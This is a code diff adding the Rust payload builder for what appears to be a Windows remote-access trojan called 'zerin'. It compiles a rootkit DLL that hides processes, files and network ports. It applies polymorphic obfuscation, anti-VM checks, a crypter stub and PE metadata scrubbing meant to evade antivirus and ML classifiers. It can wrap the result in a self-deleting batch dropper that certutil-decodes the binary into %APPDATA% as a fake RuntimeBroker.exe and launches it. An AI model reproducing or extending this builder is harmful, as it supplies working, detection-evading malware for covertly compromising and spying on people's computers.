+ cmd.env("PATH", mingw_path); + + let output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + cmd.output(), + ) + .await + .map_err(|_| format!("Cached object compilation timed out for {}", src_rel))? + .map_err(|e| format!("Failed to compile {}: {}", src_rel, e))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + return Err(format!("Failed to compile cached object {}: {}", src_rel, stderr)); + } + info!(src = %src_rel, obj = %obj_name, "Cached object compiled successfully"); + } + } + + Ok(cache_dir) +} + +/// Build a fresh agent binary with the given configuration. +pub async fn build_agent( + req: &BuildRequest, + server_keypair: &ServerKeyPair, + agent_source_dir: &Path, + output_dir: &Path, + gcc_path: &str, +) -> Result { + let payload_id = uuid::Uuid::new_v4().to_string(); + let agent_id = uuid::Uuid::new_v4().to_string(); + let work_dir = output_dir.join(&payload_id); + + // Create working directory + fs::create_dir_all(&work_dir) + .await + .map_err(|e| format!("Failed to create work dir: {}", e))?; + + // Canonicalize to absolute path so GCC @rsp file references work regardless of cwd + let work_dir = work_dir.canonicalize() + .map_err(|e| format!("Failed to canonicalize work dir: {}", e))?; + + // Canonicalize agent source dir too (may be relative like ./agent/) + let agent_source_dir = agent_source_dir.canonicalize() + .map_err(|e| format!("Failed to canonicalize agent source dir: {}", e))?; + + // Run the actual build logic; clean up work_dir on any error + match build_agent_inner(req, server_keypair, &agent_source_dir, gcc_path, output_dir, &work_dir, &payload_id, &agent_id).await { + Ok(result) => Ok(result), + Err(e) => { + let _ = fs::remove_dir_all(&work_dir).await; + Err(e) + } + } +} + +/// Inner build logic, separated so the caller can clean up work_dir on error. +async fn build_agent_inner( + req: &BuildRequest, + server_keypair: &ServerKeyPair, + agent_source_dir: &Path, + gcc_path: &str, + output_dir: &Path, + work_dir: &Path, + payload_id: &str, + agent_id: &str, +) -> Result { + // Copy agent source tree to temp working dir + let temp_source = work_dir.join("source"); + copy_dir_recursive(agent_source_dir, &temp_source) + .await + .map_err(|e| format!("Failed to copy agent source: {}", e))?; + + // Generate fresh X25519 keypair for this agent + let agent_private = StaticSecret::random_from_rng(OsRng); + let agent_public = PublicKey::from(&agent_private); + + let agent_privkey_bytes: [u8; 32] = agent_private.to_bytes(); + let agent_pubkey_bytes: [u8; 32] = *agent_public.as_bytes(); + let server_pubkey_bytes = server_keypair.pubkey_bytes(); + + // Read and patch config.c + let config_path = temp_source.join("src/core/config.c"); + let config_source = fs::read_to_string(&config_path) + .await + .map_err(|e| format!("Failed to read config.c: {}", e))?; + + let patched = patch_config_source( + &config_source, + req, + &server_pubkey_bytes, + &agent_privkey_bytes, + &agent_pubkey_bytes, + agent_id, + ); + + fs::write(&config_path, &patched) + .await + .map_err(|e| format!("Failed to write patched config.c: {}", e))?; + + // Generate obfuscated strings (random key per build for polymorphic output) + let gen_strings_script = temp_source.join("tools/generate_strings.py"); + let gen_strings_output = tokio::process::Command::new(PYTHON_CMD) + .arg(gen_strings_script.to_string_lossy().as_ref()) + .arg("--outdir") + .arg(temp_source.to_string_lossy().as_ref()) + .output() + .await + .map_err(|e| format!("Failed to run generate_strings.py: {}", e))?; + + if !gen_strings_output.status.success() { + let stderr = String::from_utf8_lossy(&gen_strings_output.stderr); + return Err(format!("String obfuscation failed: {}", stderr)); + } + info!(payload_id = %payload_id, "Obfuscated strings generated"); + + // Generate polymorphic obfuscation (random hash, config, strings, junk code) + let gen_poly_script = temp_source.join("tools/generate_polymorphic.py"); + let gen_poly_output = tokio::process::Command::new(PYTHON_CMD) + .arg(gen_poly_script.to_string_lossy().as_ref()) + .arg("--outdir") + .arg(temp_source.to_string_lossy().as_ref()) + .output() + .await + .map_err(|e| format!("Failed to run generate_polymorphic.py: {}", e))?; + + if !gen_poly_output.status.success() { + let stderr = String::from_utf8_lossy(&gen_poly_output.stderr); + return Err(format!("Polymorphic generation failed: {}", stderr)); + } + info!(payload_id = %payload_id, "Polymorphic obfuscation generated"); + + // Resolve GCC path dynamically + let gcc_path = resolve_gcc_path(gcc_path)?; + let gcc_path = gcc_path.as_str(); + + // Detect GCC version and internal directory layout (libexec on Windows, lib on Linux) + let mingw_root_path = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .ok_or_else(|| "Cannot determine MinGW root from GCC path".to_string())?; + let (gcc_internal_dir, gcc_version) = detect_gcc_version(mingw_root_path)?; + info!(payload_id = %payload_id, gcc_path = %gcc_path, gcc_version = %gcc_version, gcc_internal_dir = %gcc_internal_dir, "Config.c patched, starting GCC compilation"); + + // Build rootkit DLL if enabled + if req.rootkit_enabled.unwrap_or(true) { + let rk_dll_sources = [ + "src/rootkit_dll/dllmain.c", + "src/rootkit_dll/hooks.c", + "src/rootkit_dll/peb.c", + "src/rootkit_dll/reflective.c", + "lib/minhook/src/hook.c", + "lib/minhook/src/buffer.c", + "lib/minhook/src/trampoline.c", + "lib/minhook/src/hde/hde32.c", + "lib/minhook/src/hde/hde64.c", + ]; + + let rk_source_paths: Vec = rk_dll_sources + .iter() + .map(|s| { + temp_source + .join(s) + .to_string_lossy() + .replace('\\', "/") + }) + .collect(); + + // Patch rootkit DLL config.h with correct ports and payload name + let rk_config_path = temp_source.join("src/rootkit_dll/config.h"); + if let Ok(rk_config) = fs::read_to_string(&rk_config_path).await { + let mut patched_rk = rk_config; + + // Patch TCP/UDP ports from callback URLs + let ports = extract_ports_from_urls(&req.callback_urls); + if !ports.is_empty() { + let port_array = ports_to_c_array(&ports); + patched_rk = patched_rk.replace( + "static const unsigned short HIDE_TCP_PORTS[] = { 8443, 0 };", + &format!("static const unsigned short HIDE_TCP_PORTS[] = {};", port_array), + ); + patched_rk = patched_rk.replace( + "static const unsigned short HIDE_UDP_PORTS[] = { 8443, 0 };", + &format!("static const unsigned short HIDE_UDP_PORTS[] = {};", port_array), + ); + } + + // Patch HIDE_PROCESSES and HIDE_FILES with payload exe name + let payload_exe = format!("{}.exe", req.name); + let payload_exe_w = format!("L\"{}\"", payload_exe); + patched_rk = patched_rk.replace( + "static const wchar_t *HIDE_PROCESSES[] = { L\"zerin.exe\", L\"ZerinUpdate.exe\", NULL };", + &format!( + "static const wchar_t *HIDE_PROCESSES[] = {{ L\"zerin.exe\", L\"ZerinUpdate.exe\", {}, NULL }};", + payload_exe_w + ), + ); + patched_rk = patched_rk.replace( + "static const wchar_t *HIDE_FILES[] = { L\"zerin.exe\", L\"ZerinUpdate.exe\", NULL };", + &format!( + "static const wchar_t *HIDE_FILES[] = {{ L\"zerin.exe\", L\"ZerinUpdate.exe\", {}, NULL }};", + payload_exe_w + ), + ); + + let _ = fs::write(&rk_config_path, &patched_rk).await; + } + + let rk_dll_path = work_dir.join("zerin_rk.dll"); + let rk_header_path = temp_source.join("src/rootkit/rk_dll_bytes.h"); + + let rk_include_dir = format!("-I{}", temp_source.join("include").to_string_lossy().replace('\\', "/")); + let rk_minhook_include = format!("-I{}", temp_source.join("lib/minhook/include").to_string_lossy().replace('\\', "/")); + let rk_dll_src_include = format!("-I{}", temp_source.join("src/rootkit_dll").to_string_lossy().replace('\\', "/")); + + let mingw_bin_rk = Path::new(gcc_path) + .parent() + .ok_or_else(|| "Cannot determine MinGW bin directory".to_string())?; + let mingw_root_rk = mingw_bin_rk + .parent() + .ok_or_else(|| "Cannot determine MinGW root directory".to_string())?; + + // -B flags so GCC finds cc1/collect2/as + let rk_tool_prefix = format!("-B{}/{}/gcc/x86_64-w64-mingw32/{}/", + mingw_root_rk.display().to_string().replace('\\', "/"), gcc_internal_dir, gcc_version); + let rk_binutils_prefix = format!("-B{}/x86_64-w64-mingw32/bin/", + mingw_root_rk.display().to_string().replace('\\', "/")); + + // Build PATH for cc1 dependencies + let rk_system_path = std::env::var("PATH").unwrap_or_default(); + let path_sep = if cfg!(windows) { ";" } else { ":" }; + let rk_mingw_path = format!( + "{}{}{}{}{}{}{}", + mingw_bin_rk.display(), path_sep, + mingw_root_rk.join(&gcc_internal_dir).join("gcc").join("x86_64-w64-mingw32").join(&gcc_version).display(), path_sep, + mingw_root_rk.join("x86_64-w64-mingw32").join("bin").display(), path_sep, + rk_system_path + ); + + // Build GCC args for rootkit DLL + let mut rk_args: Vec = vec![ + rk_tool_prefix, + rk_binutils_prefix, + "-shared".to_string(), + "-static".to_string(), + "-O2".to_string(), + "-s".to_string(), + "-fno-stack-protector".to_string(), + "-fno-asynchronous-unwind-tables".to_string(), + "-fno-ident".to_string(), // Strip GCC version string + "-fdata-sections".to_string(), + "-ffunction-sections".to_string(), + "-Wno-unknown-pragmas".to_string(), + "-Wno-cast-function-type".to_string(), + "-D_WIN32_WINNT=0x0601".to_string(), + "-DWINVER=0x0601".to_string(), + rk_include_dir, + rk_minhook_include, + rk_dll_src_include, + ]; + rk_args.extend(rk_source_paths); + rk_args.extend([ + "-lkernel32".to_string(), + "-ladvapi32".to_string(), + "-luser32".to_string(), + "-lshlwapi".to_string(), + "-Wl,--gc-sections".to_string(), + "-Wl,--dynamicbase".to_string(), + "-Wl,--nxcompat".to_string(), + "-Wl,--high-entropy-va".to_string(), + "-o".to_string(), + rk_dll_path.to_string_lossy().replace('\\', "/"), + ]); + + // Write response file for rootkit DLL build + let rk_rsp_path = work_dir.join("build_rk.rsp"); + let rk_rsp_content = rk_args.iter() + .map(|a| if a.contains(' ') { format!("\"{}\"", a) } else { a.clone() }) + .collect::>() + .join("\n"); + fs::write(&rk_rsp_path, &rk_rsp_content) + .await + .map_err(|e| format!("Failed to write build_rk.rsp: {}", e))?; + + let mut rk_cmd = tokio::process::Command::new(gcc_path); + rk_cmd.arg(&format!("@{}", rk_rsp_path.to_string_lossy())); + rk_cmd.current_dir(mingw_bin_rk); + rk_cmd.env("PATH", &rk_mingw_path); + + let rk_output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + rk_cmd.output(), + ) + .await + .map_err(|_| { + error!(payload_id = %payload_id, "Rootkit DLL compilation timed out after {}s", GCC_TIMEOUT_SECS); + format!("Rootkit DLL compilation timed out after {}s", GCC_TIMEOUT_SECS) + })? + .map_err(|e| format!("Failed to execute rootkit DLL build: {}", e))?; + + if !rk_output.status.success() { + let stderr = String::from_utf8_lossy(&rk_output.stderr); + let stdout = String::from_utf8_lossy(&rk_output.stdout); + error!( + payload_id = %payload_id, + stderr = %stderr, + stdout = %stdout, + "Rootkit DLL compilation failed" + ); + return Err(format!("Rootkit DLL compilation failed: {}", stderr)); + } + + // Encrypt rootkit DLL with ChaCha20 (random key per build) + let dll_bytes = fs::read(&rk_dll_path) + .await + .map_err(|e| format!("Failed to read compiled rootkit DLL: {}", e))?; + + let header = generate_encrypted_rk_header(&dll_bytes); + + fs::write(&rk_header_path, &header) + .await + .map_err(|e| format!("Failed to write rk_dll_bytes.h: {}", e))?; + + info!(payload_id = %payload_id, dll_size = dll_bytes.len(), "Rootkit DLL built and converted to header"); + + // Clean up intermediate files + let _ = fs::remove_file(&rk_dll_path).await; + let _ = fs::remove_file(&rk_rsp_path).await; + } + + // Build GCC command — same flags as build.ps1 + let source_paths: Vec = AGENT_SOURCES + .iter() + .map(|s| { + temp_source + .join(s) + .to_string_lossy() + .replace('\\', "/") + }) + .collect(); + + let output_exe = work_dir.join("zerin.exe"); + + let include_dir = temp_source.join("include"); + let include_flag = format!("-I{}", include_dir.to_string_lossy().replace('\\', "/")); + let src_include = format!("-I{}", temp_source.join("src").to_string_lossy().replace('\\', "/")); + let minhook_include = format!("-I{}", temp_source.join("lib/minhook/include").to_string_lossy().replace('\\', "/")); + let rootkit_dll_include = format!("-I{}", temp_source.join("src/rootkit_dll").to_string_lossy().replace('\\', "/")); + let rootkit_include = format!("-I{}", temp_source.join("src/rootkit").to_string_lossy().replace('\\', "/")); + let sqlite3_include = format!("-I{}", temp_source.join("lib/sqlite3").to_string_lossy().replace('\\', "/")); + + // Compute GCC tool prefix so cc1/collect2/as are found + let gcc_tool_prefix = { + let mingw_root = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .map(|p| p.display().to_string()) + .unwrap_or_default(); + format!("-B{}/{}/gcc/x86_64-w64-mingw32/{}/", + mingw_root.replace('\\', "/"), gcc_internal_dir, gcc_version) + }; + let gcc_binutils_prefix = { + let mingw_root = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .map(|p| p.display().to_string()) + .unwrap_or_default(); + format!("-B{}/x86_64-w64-mingw32/bin/", + mingw_root.replace('\\', "/")) + }; + + // Compute MinGW paths early — needed for both cache and main compilation + let mingw_bin_dir = Path::new(gcc_path) + .parent() + .ok_or_else(|| "Cannot determine MinGW bin directory".to_string())?; + let mingw_root = mingw_bin_dir + .parent() + .ok_or_else(|| "Cannot determine MinGW root directory".to_string())?; + let system_path = std::env::var("PATH").unwrap_or_default(); + let path_sep = if cfg!(windows) { ";" } else { ":" }; + let mingw_path = format!( + "{}{}{}{}{}{}{}", + mingw_bin_dir.display(), path_sep, + mingw_root.join(&gcc_internal_dir).join("gcc").join("x86_64-w64-mingw32").join(&gcc_version).display(), path_sep, + mingw_root.join("x86_64-w64-mingw32").join("bin").display(), path_sep, + system_path + ); + + // Ensure cached pre-compiled objects exist (sqlite3.o, etc.) + let cache_dir = ensure_cached_objects( + agent_source_dir, + output_dir, + gcc_path, + &gcc_internal_dir, + &gcc_version, + &mingw_path, + mingw_bin_dir, + ) + .await?; + info!(payload_id = %payload_id, "Pre-compiled object cache ready"); + + let mut args: Vec = vec![ + gcc_tool_prefix.clone(), + gcc_binutils_prefix.clone(), + "-std=gnu11".to_string(), + "-w".to_string(), // Suppress all warnings in payload builds — they are harmless + "-O2".to_string(), + "-pipe".to_string(), // Use pipes instead of temp files — faster I/O + "-fno-stack-protector".to_string(), + "-fno-asynchronous-unwind-tables".to_string(), + "-fno-ident".to_string(), // Strip GCC version string from binary + "-fdata-sections".to_string(), // Place each data item in its own section + "-ffunction-sections".to_string(), // Place each function in its own section + "-static".to_string(), // Statically link MinGW runtime (no libgcc/libwinpthread DLL deps) + ]; + + if req.debug { + args.push("-D_DEBUG".to_string()); + } else { + args.push("-mwindows".to_string()); // Windows subsystem (no console window, uses WinMain) + } + + args.extend([ + "-D_WIN32_WINNT=0x0601".to_string(), + "-DWINVER=0x0601".to_string(), + include_flag, + src_include, + minhook_include, + rootkit_dll_include, + rootkit_include, + sqlite3_include, + ]); + + args.extend(source_paths); + + // Add cached pre-compiled objects (sqlite3.o, etc.) — skip recompilation + for &(_, obj_name) in CACHED_SOURCES { + let cached_obj = cache_dir.join(obj_name); + args.push(cached_obj.to_string_lossy().replace('\\', "/")); + } + + // Link libjpeg-turbo (TurboJPEG) static library for VNC/webcam JPEG encoding + let turbojpeg_lib = temp_source.join("lib/libturbojpeg.a"); + args.push(turbojpeg_lib.to_string_lossy().replace('\\', "/")); + + args.extend([ + "-lwinhttp".to_string(), + "-ladvapi32".to_string(), + "-lbcrypt".to_string(), + "-lws2_32".to_string(), + "-lshlwapi".to_string(), + "-liphlpapi".to_string(), + "-lgdi32".to_string(), + "-lole32".to_string(), + "-lpsapi".to_string(), + "-luser32".to_string(), + "-lshell32".to_string(), + // avicap32, winmm, crypt32 are delay-loaded at runtime via LoadLibrary + // to keep them out of the IAT (ML classifier trigger reduction) + "-s".to_string(), + "-Wl,--gc-sections".to_string(), // Dead-code elimination (pairs with -fdata/function-sections) + "-Wl,--dynamicbase".to_string(), // ASLR support — looks like legitimate modern PE + "-Wl,--nxcompat".to_string(), // DEP support + "-Wl,--high-entropy-va".to_string(), // High-entropy ASLR (x64) + "-o".to_string(), + output_exe.to_string_lossy().replace('\\', "/"), + ]); + + // Verify all source files exist in the temp directory before compilation + for src in AGENT_SOURCES { + let src_path = temp_source.join(src); + if !src_path.exists() { + error!(payload_id = %payload_id, source = %src, "Source file missing from temp directory!"); + return Err(format!("Source file missing from temp copy: {}", src)); + } + } + + // Run GCC with a response file (@file) to avoid Windows' 8191-char + // command-line length limit. We set PATH and current_dir directly on the + // Command so GCC (and cc1.exe it spawns) can find all MinGW tools/DLLs. + let rsp_path = work_dir.join("build.rsp"); + + // Write all GCC args to a response file (one per line) + let rsp_content = args.iter() + .map(|a| { + if a.contains(' ') { + format!("\"{}\"", a) + } else { + a.clone() + } + }) + .collect::>() + .join("\n"); + fs::write(&rsp_path, &rsp_content) + .await + .map_err(|e| format!("Failed to write build.rsp: {}", e))?; + + let mut cmd = tokio::process::Command::new(gcc_path); + cmd.arg(&format!("@{}", rsp_path.to_string_lossy())); + cmd.current_dir(mingw_bin_dir); + cmd.env("PATH", &mingw_path); + + let output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + cmd.output(), + ) + .await + .map_err(|_| { + error!(payload_id = %payload_id, "GCC compilation timed out after {}s", GCC_TIMEOUT_SECS); + format!("GCC compilation timed out after {}s", GCC_TIMEOUT_SECS) + })? + .map_err(|e| format!("Failed to execute GCC: {}", e))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + let stdout = String::from_utf8_lossy(&output.stdout); + error!( + payload_id = %payload_id, + stderr = %stderr, + stdout = %stdout, + exit_code = ?output.status.code(), + "GCC compilation failed" + ); + // Include both stdout and stderr — linker errors may go to stdout on Windows + let combined = if stdout.is_empty() { + stderr.to_string() + } else { + format!("{}\n{}", stderr, stdout) + }; + return Err(format!("Compilation failed: {}", combined)); + } + + // PE metadata obfuscation (randomize timestamps, zero Rich header, etc.) + let pe_obfuscate_script = temp_source.join("tools/pe_obfuscate.py"); + let pe_obfuscate_output = tokio::process::Command::new(PYTHON_CMD) + .arg(pe_obfuscate_script.to_string_lossy().as_ref()) + .arg(output_exe.to_string_lossy().as_ref()) + .output() + .await + .map_err(|e| format!("Failed to run pe_obfuscate.py: {}", e))?; + + if !pe_obfuscate_output.status.success() { + let stderr = String::from_utf8_lossy(&pe_obfuscate_output.stderr); + // Non-fatal: log warning but continue + error!(payload_id = %payload_id, stderr = %stderr, "PE obfuscation failed (non-fatal)"); + } else { + info!(payload_id = %payload_id, "PE metadata obfuscated"); + } + + // Crypt the agent exe via binary-patching crypter (no GCC needed at crypt-time) + let encrypt = req.encryption_enabled.unwrap_or(!req.debug); + if encrypt { + // Crypter is cached; stub is built fresh every time (polymorphic) + let tools_dir = agent_source_dir.join("build").join("bin"); + fs::create_dir_all(&tools_dir) + .await + .map_err(|e| format!("Failed to create tools dir: {}", e))?; + let stub_exe = work_dir.join("zerin_stub.exe"); + let crypter_exe = if cfg!(windows) { + tools_dir.join("zerin_crypter.exe") + } else { + tools_dir.join("zerin_crypter") + }; + + // Always build stub fresh (polymorphic — unique hash + junk per build) + { + info!(payload_id = %payload_id, "Building polymorphic zerin_stub.exe"); + + // Step 0: Generate polymorphic hash header + junk code + let stub_poly_dir = work_dir.join("stub_poly"); + fs::create_dir_all(&stub_poly_dir) + .await + .map_err(|e| format!("Failed to create stub_poly dir: {}", e))?; + + let gen_poly_stub_script = agent_source_dir.join("tools/generate_poly_stub.py"); + let poly_output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + tokio::process::Command::new(PYTHON_CMD) + .arg(gen_poly_stub_script.to_string_lossy().as_ref()) + .arg("--outdir") + .arg(stub_poly_dir.to_string_lossy().as_ref()) + .arg("--tools-dir") + .arg(agent_source_dir.join("tools").to_string_lossy().as_ref()) + .output(), + ) + .await + .map_err(|_| "Poly stub generation timed out".to_string())? + .map_err(|e| format!("Failed to run generate_poly_stub.py: {}", e))?; + + if !poly_output.status.success() { + let stderr = String::from_utf8_lossy(&poly_output.stderr); + return Err(format!("Poly stub generation failed: {}", stderr)); + } + let stdout_msg = String::from_utf8_lossy(&poly_output.stdout); + info!(payload_id = %payload_id, output = %stdout_msg, "Polymorphic stub generated"); + + // Step 1: Compile resources with windres (uses generated RC from stub_poly_dir) + let windres_path = if cfg!(windows) { + mingw_bin_dir.join("windres.exe") + } else { + PathBuf::from("x86_64-w64-mingw32-windres") + }; + let rc_file = stub_poly_dir.join("stub_versioninfo.rc"); + let res_obj = work_dir.join("zerin_stub_res.o"); + + let windres_out = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + tokio::process::Command::new(&windres_path) + .arg(rc_file.to_string_lossy().as_ref()) + .arg("-o") + .arg(res_obj.to_string_lossy().as_ref()) + .current_dir(&stub_poly_dir) + .env("PATH", &mingw_path) + .output(), + ) + .await + .map_err(|_| "windres timed out".to_string())? + .map_err(|e| format!("Failed to run windres: {}", e))?; + + if !windres_out.status.success() { + let stderr = String::from_utf8_lossy(&windres_out.stderr); + return Err(format!("windres failed: {}", stderr)); + } + + // Step 2: Compile stub with GCC (CRT linked, no -nostdlib) + let stub_template = agent_source_dir.join("tools/zerin_stub_template.c"); + let stub_poly_include = format!("-I{}", stub_poly_dir.to_string_lossy().replace('\\', "/")); + let stub_poly_junk_src = stub_poly_dir.join("stub_poly_junk.c"); + let stub_poly_padding_src = stub_poly_dir.join("stub_poly_padding.c"); + let anti_vm = req.anti_vm.unwrap_or(true); + let mut stub_args = vec![ + gcc_tool_prefix.clone(), + gcc_binutils_prefix.clone(), + "-std=gnu11".to_string(), + "-O2".to_string(), + "-s".to_string(), + "-mwindows".to_string(), + "-static".to_string(), + "-fno-stack-protector".to_string(), + "-fno-asynchronous-unwind-tables".to_string(), + "-Wno-unknown-pragmas".to_string(), + "-Wno-deprecated-declarations".to_string(), + "-D_WIN32_WINNT=0x0601".to_string(), + "-DWINVER=0x0601".to_string(), + ]; + if !anti_vm { + stub_args.push("-DSKIP_SANDBOX".to_string()); + } + if req.debug { + stub_args.push("-DSTUB_DEBUG".to_string()); + } + stub_args.extend([ + stub_poly_include, + stub_template.to_string_lossy().replace('\\', "/"), + stub_poly_junk_src.to_string_lossy().replace('\\', "/"), + stub_poly_padding_src.to_string_lossy().replace('\\', "/"), + res_obj.to_string_lossy().replace('\\', "/"), + "-lkernel32".to_string(), + "-luser32".to_string(), + "-ladvapi32".to_string(), + "-lshell32".to_string(), + "-lole32".to_string(), + "-o".to_string(), + stub_exe.to_string_lossy().replace('\\', "/"), + ]); + let stub_rsp = work_dir.join("stub_build.rsp"); + let rsp_content = stub_args.iter() + .map(|a| if a.contains(' ') { format!("\"{}\"", a) } else { a.clone() }) + .collect::>() + .join("\n"); + fs::write(&stub_rsp, &rsp_content).await + .map_err(|e| format!("Failed to write stub_build.rsp: {}", e))?; + + let mut cmd = tokio::process::Command::new(gcc_path); + cmd.arg(&format!("@{}", stub_rsp.to_string_lossy())); + cmd.current_dir(mingw_bin_dir); + cmd.env("PATH", &mingw_path); + let out = tokio::time::timeout(Duration::from_secs(GCC_TIMEOUT_SECS), cmd.output()) + .await + .map_err(|_| "Stub compilation timed out".to_string())? + .map_err(|e| format!("Failed to compile stub: {}", e))?; + let _ = fs::remove_file(&stub_rsp).await; + let _ = fs::remove_file(&res_obj).await; + if !out.status.success() { + let stderr = String::from_utf8_lossy(&out.stderr); + return Err(format!("Stub compilation failed: {}", stderr)); + } + } + + // Build crypter every time — it includes stub_poly_config.h which changes per build. + { + info!(payload_id = %payload_id, "Building crypter"); + let crypter_src = agent_source_dir.join("tools/zerin_crypter.c"); + let stub_poly_dir = work_dir.join("stub_poly"); + let crypter_poly_include = format!("-I{}", stub_poly_dir.to_string_lossy().replace('\\', "/")); + + if cfg!(windows) { + let crypter_args = vec![ + gcc_tool_prefix, + gcc_binutils_prefix, + "-std=gnu11".to_string(), + "-O2".to_string(), + "-s".to_string(), + crypter_poly_include.clone(), + crypter_src.to_string_lossy().replace('\\', "/"), + "-lbcrypt".to_string(), + "-o".to_string(), + crypter_exe.to_string_lossy().replace('\\', "/"), + ]; + let crypter_rsp = work_dir.join("crypter_build.rsp"); + let rsp_content = crypter_args.iter() + .map(|a| if a.contains(' ') { format!("\"{}\"", a) } else { a.clone() }) + .collect::>() + .join("\n"); + fs::write(&crypter_rsp, &rsp_content).await + .map_err(|e| format!("Failed to write crypter_build.rsp: {}", e))?; + + let mut cmd = tokio::process::Command::new(gcc_path); + cmd.arg(&format!("@{}", crypter_rsp.to_string_lossy())); + cmd.current_dir(mingw_bin_dir); + cmd.env("PATH", &mingw_path); + let out = tokio::time::timeout(Duration::from_secs(GCC_TIMEOUT_SECS), cmd.output()) + .await + .map_err(|_| "Crypter compilation timed out".to_string())? + .map_err(|e| format!("Failed to compile crypter: {}", e))?; + let _ = fs::remove_file(&crypter_rsp).await; + if !out.status.success() { + let stderr = String::from_utf8_lossy(&out.stderr); + return Err(format!("Crypter compilation failed: {}", stderr)); + } + } else { + // On Linux, compile with native gcc (crypter is a host tool, not a target binary) + let out = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + tokio::process::Command::new("gcc") + .args(["-std=gnu11", "-O2", "-s"]) + .arg(&crypter_poly_include) + .arg(crypter_src.to_string_lossy().as_ref()) + .arg("-o") + .arg(crypter_exe.to_string_lossy().as_ref()) + .output(), + ) + .await + .map_err(|_| "Crypter compilation timed out".to_string())? + .map_err(|e| format!("Failed to compile crypter: {}", e))?; + if !out.status.success() { + let stderr = String::from_utf8_lossy(&out.stderr); + return Err(format!("Crypter compilation failed: {}", stderr)); + } + } + } + + // Run binary-patching crypter: zerin_crypter.exe --stub stub.exe input.exe output.exe + let crypted_path = work_dir.join("zerin_crypted.exe"); + let mut crypt_cmd = tokio::process::Command::new(&crypter_exe); + crypt_cmd.arg("--stub").arg(&stub_exe); + crypt_cmd.arg(&output_exe); + crypt_cmd.arg(&crypted_path); + + let crypt_output = tokio::time::timeout( + Duration::from_secs(GCC_TIMEOUT_SECS), + crypt_cmd.output(), + ) + .await + .map_err(|_| "Crypter timed out".to_string())? + .map_err(|e| format!("Failed to execute crypter: {}", e))?; + + if crypt_output.status.success() { + let _ = fs::remove_file(&output_exe).await; + fs::rename(&crypted_path, &output_exe) + .await + .map_err(|e| format!("Failed to replace exe with crypted version: {}", e))?; + info!(payload_id = %payload_id, "Agent encrypted via binary-patching crypter"); + + // Apply PE obfuscation to final crypted output (Rich header, timestamps, checksum) + let pe_obfuscate_script2 = temp_source.join("tools/pe_obfuscate.py"); + let pe_obf2 = tokio::process::Command::new(PYTHON_CMD) + .arg(pe_obfuscate_script2.to_string_lossy().as_ref()) + .arg(output_exe.to_string_lossy().as_ref()) + .output() + .await; + match pe_obf2 { + Ok(out) if out.status.success() => { + info!(payload_id = %payload_id, "PE metadata obfuscated on crypted output"); + } + Ok(out) => { + let stderr = String::from_utf8_lossy(&out.stderr); + error!(payload_id = %payload_id, stderr = %stderr, "PE obfuscation of crypted output failed (non-fatal)"); + } + Err(e) => { + error!(payload_id = %payload_id, error = %e, "Failed to run pe_obfuscate.py on crypted output (non-fatal)"); + } + } + } else { + let stderr = String::from_utf8_lossy(&crypt_output.stderr); + let stdout = String::from_utf8_lossy(&crypt_output.stdout); + error!(payload_id = %payload_id, stderr = %stderr, stdout = %stdout, "Crypter failed"); + let _ = fs::remove_file(&crypted_path).await; + let _ = fs::remove_dir_all(&temp_source).await; + let _ = fs::remove_file(&rsp_path).await; + return Err(format!("Crypter failed: {}", stderr)); + } + } + + // Clean up source copy and response file + let _ = fs::remove_dir_all(&temp_source).await; + let _ = fs::remove_file(&rsp_path).await; + + // ── BAT wrapper: encode EXE as base64 and wrap in batch script ── + let final_output = if req.output_format == "bat" { + use base64::Engine as _; + let exe_bytes = fs::read(&output_exe) + .await + .map_err(|e| format!("Failed to read EXE for BAT wrapping: {}", e))?; + let b64 = base64::engine::general_purpose::STANDARD.encode(&exe_bytes); + // Split into 76-char lines for certutil compatibility + let b64_lines: Vec<&str> = b64.as_bytes().chunks(76).map(|c| std::str::from_utf8(c).unwrap_or("")).collect(); + let mut bat = String::with_capacity(b64.len() + 4096); + // Use PowerShell hidden window to decode + launch from %APPDATA% + bat.push_str("@echo off\r\n"); + bat.push_str("setlocal enabledelayedexpansion\r\n"); + bat.push_str("set \"d=%APPDATA%\\Microsoft\"\r\n"); + bat.push_str("if not exist \"%d%\" mkdir \"%d%\"\r\n"); + bat.push_str("set \"t=%d%\\RuntimeBroker.exe\"\r\n"); + bat.push_str("set \"b=%TEMP%\\~%RANDOM%.tmp\"\r\n"); + bat.push_str("(\r\n"); + bat.push_str("echo -----BEGIN CERTIFICATE-----\r\n"); + for line in &b64_lines { + bat.push_str(&format!("echo {}\r\n", line)); + } + bat.push_str("echo -----END CERTIFICATE-----\r\n"); + bat.push_str(") > \"%b%\"\r\n"); + bat.push_str("certutil -decode \"%b%\" \"%t%\" >nul 2>&1\r\n"); + bat.push_str("del /q \"%b%\" >nul 2>&1\r\n"); + bat.push_str("start \"\" /b \"%t%\"\r\n"); + // Self-delete the .bat after a short delay + bat.push_str("ping -n 2 127.0.0.1 >nul 2>&1\r\n"); + bat.push_str("(goto) 2>nul & del \"%~f0\"\r\n"); + let bat_path = work_dir.join("zerin.bat"); + fs::write(&bat_path, bat.as_bytes()) + .await + .map_err(|e| format!("Failed to write BAT file: {}", e))?; + // Remove the raw exe — only the bat is needed + let _ = fs::remove_file(&output_exe).await; + info!(payload_id = %payload_id, "BAT wrapper generated"); + bat_path + } else { + output_exe + }; + + // Get file size + let metadata = fs::metadata(&final_output) + .await + .map_err(|e| format!("Failed to stat output binary: {}", e))?; + + let agent_pubkey_hex: String = agent_pubkey_bytes.iter().map(|b| format!("{:02x}", b)).collect(); + + info!( + payload_id = %payload_id, + file_size = metadata.len(), + agent_pubkey = %agent_pubkey_hex, + "Agent payload built successfully" + ); + + Ok(BuildResult { + payload_id: payload_id.to_string(), + file_path: final_output, + file_size: metadata.len(), + agent_pubkey_hex, + }) +} diff --git a/src/commands/chat.c b/src/commands/chat.c new file mode 100755 index 0000000..0c5ed9b --- /dev/null +++ b/src/commands/chat.c @@ -0,0 +1,164 @@ +#include 